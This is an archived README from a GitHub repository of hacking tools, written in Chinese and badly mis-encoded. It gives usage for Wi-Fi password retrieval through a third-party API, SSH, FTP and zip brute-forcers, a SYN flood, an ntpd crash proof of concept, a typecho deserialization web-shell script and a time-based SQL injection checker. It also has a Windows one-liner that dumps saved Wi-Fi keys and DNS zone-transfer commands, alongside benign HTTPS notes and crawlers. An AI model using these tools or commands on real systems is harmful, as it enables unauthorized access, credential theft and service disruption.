The Wayback Machine - https://web.archive.org/web/20220309055450/https://github.com/LockGit/Hacking
Skip to content
master
Switch branches/tags
Code

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
Apr 28, 2018
pdf
Apr 22, 2021
Apr 22, 2021
Apr 22, 2021
Apr 8, 2017

README.md

Hacking Tools Demo

English version(英文版本)

Menu

Topic Description
远程命令执行(RCE) 远程命令执行(RCE)
attackWiFi.py 一个获�wifi密�的工具
图解https 图解https
图解HSTS 图解HSTS
TcpPortForward.py 端�转�tool
typeEchoShell.py typeEchoShell.php
wifi密� 获�所有连接过的wifi密�(Win平�)
zipattack.py zak.py
createDict.py 生�一个简�的密�破解字典
PortScan.py 多线程端å?£æ‰«æ??器
sshAttack.py 多线程ssh密�暴力破解
ftpAttack.py 多线程ftp密�暴力破解
synFlood.py synFlood TCP SYN 洪水攻击
ntpdenialservice.py 一个使ntp拒��务的poc代�
SQL Inject 分享一个SQL注入的技巧
attackSmb/win10.py 一个SMB�洞的Poc
badtunnel-poc.rb badtunnel 跨网段劫�
sqlInjetct.py 一个延时注入的验�
SSRF & DNS SSRF�洞 & DNS域传��洞
fpm.py Nginx(IIS7)解��洞原�
morse.py 摩斯密�加解密
crawl.py 轻�级图片爬虫
wooyun_index.py 1000个PHP代�审计案例(2016.7以�乌云公开�洞)---增加索引
proxy_crawl/get_proxy.py & proxy_crawl/ocr_img.py å??爬虫代ç?†æœ?务器抓å?–实现
验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?.pdf 验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?
基于机器学习(TensorFlow)的��验��识别.pdf 基于机器学习(TensorFlow)的��验��识别
Scrapy爬�站点数� Scrapy爬��洞列表
ip地�也�以这么表示.pdf ip地�也�以这么表示.pdf
关于TTL生存时间.pdf 关于TTL生存时间.pdf
为什么正确的SQL�能执行.pdf 为什么正确的SQL�能执行.pdf
从翻墙到使用cloudflare作为跳��访问vps折腾出的几个问题.pdf 从翻墙到使用cloudflare作为跳��访问vps折腾出的几个问题.pdf
了解一下golang汇编.md 了解一下golang汇编.md
从执行redis命令失败分�一下Pipeline,TxPipeline,Transaction,Atomic.pdf 从执行redis命令失败分�一下Pipeline,TxPipeline,Transaction,Atomic.pdf
正确获�ip地�.md 正确获�ip地�.md

远程命令执行

Remote Command/Code Execute 简称 RCE 

比如这篇文章:Gogs远程命令执行�洞分� (https://www.anquanke.com/post/id/163575)
开�者在处�file型session时未处��险字符造�目录穿越。
攻击者通过目录穿越,伪造的管�员session,�功伪造管�员登陆,�利用Git hook实现任�远程命令执行。

这�是Gogs项目,因为关注的人多,所以�被披露,实际场景中�能还有很多框架存在类似或者相似问题。

比如2018年我在Beego中也å?‘现了类似æ¼?洞的存在,并å?‘作者æ??交了一个æ¼?æ´žä¿®å¤?çš„pr (https://github.com/astaxie/beego/pull/3383)
作者也很快将修�代��并到了主分支。

但在这之间,å?¦ä¸€ä½?安全爱好者通过我æ??交的Beego框架的æ¼?æ´žprå?‘现了æŸ?å¼€æº?在线文档管ç?†ç³»ç»Ÿä¸­å­˜åœ¨æ¼?洞,
�以登录未授�用户账�。(https://github.com/lifei6671/mindoc/issues/384)

而主�原因在于这个开�在线文档管�系统使用了Beego框架,而当时的Beego框架版本中还存在类似�洞并没有修�。

在web领域的框架尤其PHP最多,这其中肯定也有很多问题,以å‰?给国产æŸ?框架æ??过一个,当时WooYun还没有关闭,
而现在WooYun所代表的白帽文化�能永远消失在互�网的浪潮中。

有些问题其实是一个�的安全问题,其本身�能并没有什么特别高深的技术��,但所有�的安全问题组�起�就�以��一个大的安全问题。

类似问题有很多,主�是�焦开�的往往关注安全很少,�有关注的人足够多了或者有�于分享的人或者有推动这些被公开的动力,
那些潜在的�洞�有�能被��披露。

attackWiFi.py 一个获�wifi密�的工具

破解原�:
	ç ´è§£wifi万能钥匙的接å?£å??议,é?žæŠ“包暴力破解,wifi万能钥匙的æœ?务端存储了大é‡?çš„wifi密ç ?相关信æ?¯
	通过å?‘接å?£æ??ä¾›ssidå’Œbssidä¿¡æ?¯ï¼ŒèŽ·å?–真实的wifi密ç ?
	这里�感谢zke1ev3n逆�了wifi万能钥匙的安�客户端
	本脚本完善了破解程�,增加了容错机制,获得的密�在response中其实是urlencode的,本脚本也增加了decode解�
查看帮助
➜  Hacking git:(master) ✗ py attackWiFi.py -h
Usage: use:
	--ssid <wifi ssid> --bssid <wifi bssid>
	Example: python attackWiFi.py --ssid ssid --bssid bssid

Options:
  -h, --help          show this help message and exit
  --ssid=WIFI_SSID    the wifi ssid info
  --bssid=WIFI_BSSID  the wifi bssid info

第一步是�获得wifi的ssid和bssid信�,我演示的环境是Mac环境,其他环境请自行寻找下获�ssid和bssid的工具
Mac环境:
	执行:airport -s 获�所有wifi相关信�,这里部分信�进行了打�:
	Mac下默认airport -s 是�行的,因为我在执行之�建过一个软链接:
	ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
	其他�作系统获�方��自行Google

上一步获得了ssid和bssid信�
执行获�密�:
python attackWiFi.py --ssid xxx --bssid ****
xxx 表示wifiçš„å??称:比如wifiå??å?«ï¼šhome
**** 表示wifi的bssid信�:比如 17:71:94:14:84:0d (�便写的)
那么获�密�就是:
python attackWiFi.py --ssid home --bssid 17:71:94:14:84:0d
�功了会显示password is: xxxxxxx
也有�能会失败,貌似�务端是有check的,�作多了,会获�失败,这个时候�以�一个网络环境测试,或者�一个wifi测试

图解https

网上大部分关于https的讲解���样,也�易于�解。于是自己总结画了个图,如有错误欢迎批评指正

1.[server] 生��对的公钥和�钥,Pub,Pri
2.[server] �务器将“Pub�传给客户端
3.[Client] 生�对称秘钥("key2"),然�用key2加密信�
4.[Client] 使用“Pub�加密“key2�。因为�有�务器知�“Pri�,所以“key2�是安全的
5.[Client] send(加密�的数�)和(加密的�的key2)给�务器
6.[Server] 用�钥“Pri�解密这个result_two,拿到“key2�
7.[Server]用“key2�解密加密�的数�result_one。数�安全的到达�了�务器。

总结:解密result_one用的key2采用对称加密,而公钥和�钥的生�则采用�对称加密,
所以一个完整的https�程应该是既包�了对称加密也包�了�对称加密.

图解HSTS

HSTS一定是安全的的�?助你深入�解HSTS的图。

TcpPortForward.py 端�转�tool

使用场景:

一:
A�务器在内网,公网无法直接访问这��务器,但是A�务器�以�网访问公网的B�务器(�设IP为222.2.2.2)。
我们也�以访问公网的B�务器。我们的目标是访问A�务器的22端�。那么�以这样:

1. 在B�务器上�行:
./TcpPortForward.py l:10001 l:10002
表示在本地监�了10001与10002两个端�,这样,这两个端�就�以互相传输数�了。

2. 在A�务器上�行:
./TcpPortForward.py c:localhost:22 c:222.2.2.2:10001
表示连接本地的22端�与B�务器的10001端�,这两个端�也�以互相传输数�了。

3. 然�我们就�以这样�访问A�务器的22端�了:
ssh 222.2.2.2 -p 10002
原�很简�,这个命令执行�,B�务器的10002端�接收到的任何数�都会传给10001端�,此时,A�务器是连接了B�务器的10001端�的,
数�就会传给A�务器,最终进入A�务器的22端�。

二:
�用更多举例了,TcpPortForward.py的l与c两个�数�以进行�活的两两组�,多��务器之间���明白数��方�,那么就能满足很多场景的需求。

collect from phithon

typeEcho get Shell , typeEchoå??åº?列化æ¼?洞利用

typeEchoShell.php 为生�shell的内容,�过base64��列化的值,�用于typeEchoShell.py中的cookie一项
typeEchoShell.py  获�目标站点shell

例:python typeEchoShell.py -u http://www.xxx.com

若�自定义shell内容,�更改typeEchoShell.php,自定义shell内容

获�所有连接过的wifi密�(Win平�)

需�管�员��
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

zipattack.py | zak.py zip加密文件暴力破解

帮助说明:  python zipattack.py -h

测试:
zip test.zip *.gif -e 

进行暴力破解:
python zipattack.py -f test.zip -d password.txt


第二个脚本:zak.py 是无�穷举
python zak.py -h 
Usage: usage	 -f <zipfile> -t <type> -l <length> or -h get help

Options:
  -h, --help  show this help message and exit
  -f ZNAME    specifyzip file
  -t TNAME    specify type(num|a|A|aA|anum|numa|Anum|aAnum)
  -l LENGTH   specify length,default=8
例:
	python zak.py -f test.zip -t num -l 12
	表示以数字类型,长度最长为12的密�枚举test.zip文件

createDict.py 生�一个简�的密�破解字典

python createDict.py 

按ctrl+c �止生�

PortScan.py 多线程端å?£æ‰«æ??器

More Help: PortScan.py -h

测试:
	python PortScan.py -H www.baidu.com -p 80 443 110
	➜  py python PortScan.py -H www.baidu.com -p 80 443 110 
		[+] Scan Results for: 119.75.218.70
		Scanning port 443
		Scanning port 110
		Scanning port 80
		[+]443/tcp open
		[+] HTTP/1.1 302 Moved Temporarily
		Server: bfe/1.0.8.18
		Date: Sun, 06 Nov 2016 08:43:40 GMT
		Content-T
		[-]110/tcp closed
		[-]80/tcp closed
	Also, You can local test , The python script support domain or ip mode
	Example:
		python PortScan.py -H 127.0.0.1 -p 80

sshAttack.py 多线程ssh密�暴力破解

测试:
	➜  py python sshAttack.py -h                                                    
		Usage: -H <target host> -u <user> -f <password list>

		Options:
		  -h, --help     show this help message and exit
		  -H TGTHOST     specify target host
		  -f PASSWDFILE  specify password file
		  -u USER        specify the user
		  -c COUNT       specify the max ssh connect count , default 5
	
	py python sshAttack.py -H 192.168.2.201 -u test -f /Users/lock/1.txt -c 20
	-c 用户测试指定ssh链接数,具体根�ssh config 文件判断

例:
➜  py python sshAttack.py -H 192.168.1.100 -u root -f password.md -c 20
		[-] Testing: 1111
		[-] Testing: 2222
		[-] Testing: 3333
		[-] Testing: 111111
		[-] Testing: 123123
		[-] Testing: 123456
		[+] Good , Key Found: 123456

ftpAttack.py 多线程ftp密�暴力破解

测试:
➜  py python ftpAttack.py -h
	Usage: -H <target host> -f <password list>

	Options:
	  -h, --help     show this help message and exit
	  -H TGTHOST     specify target host
	  -f PASSWDFILE  specify password file,like username:password format file
	  -d DELAY       attack time delay set default 1s

➜  py python ftpAttack.py -H 127.0.0.1 -f userpass.md -d 1

	[-] 127.0.0.1 FTP Anonymous Logon Failed.
	[+] Trying: root/aaa

	[-] Could not brute force FTP credentials.

	[+] Trying: lock/mmm

	[-] Could not brute force FTP credentials.
	[+] Trying: alice/123


	[-] Could not brute force FTP credentials.

	The default test delay time is 0s , test default account is anonymous , if success, will show user name and password.
	userpass.md is username and password file,the file format like below:
		root:123
		hello:456
		alice:789
		test:12345

synFlood.py 一个简�的 TCP SYN 洪水攻击 python版

More Detail:
python synFlood.py -h
1,用 Scapy 简�的�制一个 TCP SYN 洪水攻击,将制作一些 IP 数�包,  TCP 513 目标端�。
2,�行攻击�� TCP SYN 数�包耗尽目标主机资�,填满它的连接队列,基本瘫 痪目标�� TCP �置包的能力。
3,netstat -an 大�的�链接状� SYN_RECV

�能需�的�赖:
brew install --with-python libdnet

pip install scapy
pip install pcapy
pip install pydumbnet

执行效果:
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
....

ntpDenialService.py 一个使ntp拒��务的poc代�

构造一个特殊的数�包,ntpd没有默认开�trap�务,如果trap被开�,攻击者就能通过特别构造的数�包导致空指针引�ntpd崩溃,进而导致�务器拒��务。
测试:
监�本地udp 1111 端�
➜  ~ nc -l -u 0 1111

执行:
➜  Hacking git:(master) ✗ python ntpDenialService.py 127.0.0.1 1111
[-] Sending payload to 127.0.0.1:1111 ...
[+] Done!

➜  ~ nc -l -u 0 1111

6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP

接�到这个特殊的数�包,ntpd崩溃,形�拒��务

分享一个SQL注入的技巧

审计开�框架/cms的时候�能会�到一些有��的注入�洞
当以pdo的方�连接mysql,也就是说�以多语�执行的时候
然�,�考如下:

python:
import binascii
s='select * from x limit 1;'

print binascii.b2a_hex(s)
# 获得16进制数�,73656c656374202a2066726f6d2078206c696d697420313b

mysql -uroot
set @a:=0x73656c656374202a2066726f6d2078206c696d697420313b;

prepare s from @a;

execute s;

mysql root@localhost:test> execute s;
+------+----------+-------+
|   id |   is_reg |   pid |
|------+----------+-------|
|    1 |        1 |     0 |
+------+----------+-------+
1 row in set
Time: 0.002s

attackSmb/win10.py 一个SMB�洞的Poc代�

此�洞主�影�Windows Server 2012/2016�Win8/8.1以�Win10系统。
攻击者�以模拟�一个SMB�务器,诱使客户端�起SMB请求�触��洞。
攻击者也�以通过中间人方�“毒化�SMB回应,�入��的SMB回�实现拒��务或控制�害系统。

badtunnel-poc.rb badtunnel 跨网段劫�

detail:
badtunnel-poc.rb

sqlInjetct.py 一个延时注入的验�

根�返回的时间差�猜测注入的结果是�正确(无视代�很烂)
帮助:
➜  Hacking git:(master) ✗ py sqlInjetct.py
-----Usage:-----

Example:
python sqlInject.py -u http://xxx.xxx.com/id=123

关于SSRF�洞 与 DNS域传��洞

SSRF放大以å?Žè¿˜æ˜¯å??分å?±é™©çš„,当利用SSRF刺探内网的时候,结å?ˆdict伪å??è®®å†?利用ftpå??议刺探æŸ?个ip是å?¦å­˜æ´».
一般情况下如果å?¯ä»¥åœ¨æž?短时间内得到response那么基本å?¯ä»¥åˆ¤å®šè¯¥ip存活,å??之ä¸?存在该ip。
这个技巧也是收集过æ?¥çš„,至于为什么应该是和ftpå??议本身有关?
获得一幅内网�图SSRF是一个�错的选择。
如何判断SSRF:
1,SSRF是由�务端�起的请求,因此在加载图片的时候,是由�务端�起的。
2,在我们本地�览器的请求中就�应该存在图片的请求,如果抓包�以立�看到效果。

DNS域传��洞:
主域�务器A,备域�务器B,
A,B之间需è¦?备份相关的域å??,ip对应信æ?¯,
原则上�有B�以去�步A信�到自己的数�库中。但是由于�置错误,
导致任�客户端�主域�起请求,主域都会把相关信�返回给客户端,内部网络�图被轻�泄露。

dig soa xxx.com
得到ANSWER SECTION:�设为:
ns3.dnsv4.com

查看是�有域传�返回:
dig axfr xxx.com @ns3.dnsv4.com
有返回就表示�洞存在

使用Python构造一个fastcgiå??议请求内容å?‘é€?ç»™php-fpm , Nginx(IIS7)解æž?æ¼?洞原ç?†

查看帮助:
python fpm.py -h 

这篇文章写的�错,于是收集了过�:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

简述如下:
Nginx和IIS7曾�出现过一个PHP相关的解��洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability).
该�洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但�按照.php�缀解�了。

用户请求http://127.0.0.1/favicon.ico/.php,nginx将会��如下环境��到fpm里:

{
    ...
    'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
    'SCRIPT_NAME': '/favicon.ico/.php',
    'REQUEST_URI': '/favicon.ico/.php',
    'DOCUMENT_ROOT': '/var/www/html',
    ...
}
正常�说:
SCRIPT_FILENAME的值是一个�存在的文件/var/www/html/favicon.ico/.php,
是PHP设置中的一个选项fix_pathinfo导致了这个�洞。
PHP为了支�Path Info模�而创造了fix_pathinfo,在这个选项被打开的情况下,
fpm会判断SCRIPT_FILENAME是�存在,如果�存在则去掉最�一个/�以�的所有内容,
�次判断文件是�存在,往次循环,直到文件存在。

所以,第一次fpm�现/var/www/html/favicon.ico/.php�存在,则去掉/.php,�判断/var/www/html/favicon.ico是�存在。
显然这个文件是存在的,于是被作为PHP文件执行,导致解��洞。

正确的解决方法有两�:
一,在Nginx端使用fastcgi_split_path_info将path info信�去除�,用tryfiles判断文件是�存在;
二,借助PHP-FPM的security.limit_extensions�置项,��其他�缀文件被解�。

morse.py 摩斯密�加解密

摩斯密�是由美国的三缪摩斯�明的一套加密算法,是一�断断续续的信�代�。
加密:
➜  ~ python morse.py -e lock
.-.. --- -.-. -.-

解密:
➜  ~ python morse.py -d '.-.. --- -.-. -.-'
lock
➜  ~

查看帮助:
➜  ~ python morse.py
usage	 -e|-d msg or -h get help

crawl.py 轻�级图片爬虫

修改crawl.py中:
URL = "https://www.xxx.top" # �爬�的网站

# 爬å?–çš„URL域å??范围
URL_RULE = [
        'https://www.xxx.top',
        'https://xxx.top',
        'http://www.xxx.top',
        'http://xxx.top'
]

执行爬虫:
python crawl.py 

wooyun_index.py 1000个PHP代�审计案例(2016.7以�乌云公开�洞)---增加索引

git clone [email protected]:Xyntax/1000php.git
默认是没有索引的,所以查看æ¼?æ´žå??分ä¸?方便
1,cd 1000php
2,执行下载我的脚本:wget https://raw.githubusercontent.com/LockGit/Hacking/master/wooyun_index.py -O wooyun_index.py
3,执行:mkdir css && mkdir js 
4,执行:wget https://github.com/LockGit/Hacking/raw/master/res/style.css -O style.css -P css/
5,执行:wget https://github.com/LockGit/Hacking/raw/master/res/jquery-1.4.2.min.js -O jquery-1.4.2.min.js -P js/
6,执行:python wooyun_index.py 会生��洞索引列表,此时会生�index.html文件,打开这个文件��
效果如下:

proxy_crawl/get_proxy.py | ocr_img.py å??爬虫代ç?†æœ?务器抓å?–实现方å¼?

访问:http://www.goubanjia.com/free/index.shtml å?¯çœ‹åˆ°è¯¥ç½‘ç«™æ??供了很多代ç?†æœ?务器
但是核心的代ç?†ipä¿¡æ?¯é‡‡ç”¨äº†å??爬虫策略
å?¯ä»¥çœ‹ä¸‹page结构如下é?¢å›¾ç‰‡æ??è¿°,写过爬虫的å?Œå­¦çŸ¥é?“这是有æ„?混淆页é?¢ç»“æž„,让爬虫无法抓å?–到正确信æ?¯ï¼Œä»Žè€Œåœ¨ä¸€å®šç¨‹åº¦ä¸Šèµ·åˆ°ä¿?护作用。
写了2个py文件进行了一个�测试,是一个简�实现,代�在仓库proxy_crawl目录下:
没有什么高深的技术��
核心原�是通过selenium唤醒chrome打开待抓�页�,然�程�自动对�一页内容进行截图,�存在proxy_crawl/img下�(如下图)
之�通过pytesseract对抓�到的图片进行识别,直接无视�端页�的混淆
pytesseract模��以�试下,国外还有大神用js实现了这个模�,支�62�语言�览器端的识别,当然,也是需�模型数�支�的
一般还�以识别一下简�的验��,但是��的�行,太过��的�能需�比如tensorflow+cnn,网上也有案例
清洗数�并记录到proxy_crawl/proxy.md文件中
环境:python 2.7.14 , 模��以自己看下 py 文件代�,pip install 下所用到的模�
执行:python get_proxy.py 抓�图片
执行:python ocr_img.py 代�数�识别

验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?

Google �索 tesseract.js 字符识别

总结文档:+ 验è¯?ç ?识别v1+HTTPå??è®®Range特性分æž?.pdf

HTTPå??è®®Range特性分æž?(多线程文件下载器实现):

基于机器学习(TensorFlow)的��验��识别

�用机器学习算法时,如果��解实现原�,先套接�先实现功能,识别算法是通用的。一般处���验��,有��的处�策略。
分类算法举例:(具体:https://github.com/LockGit/Py)
    01,knn   (k点邻近算法)
    02,svm(支æŒ?å?‘é‡?机,å??分å¤?æ?‚)
    ...
SVM算法相比较KNN算法�说,原�上�����的多,SVM算法基本�想是把数�转化为点,
通过把点映射到n维空间上,通过n-1维的超平�切割,找到最佳切割超平�,
通过判断点在超平�的哪一边,�判断点属于哪一类字符。

基于机器学习的验��识别则是把�识别的对象当�一个整体。
选择0-9纯数字,CNN网络4*10个输出,学习时间:70分钟,模型准确率:99%
验��预测截图:

总结文档:+ 基于机器学习(TensorFlow)的��验��识别.pdf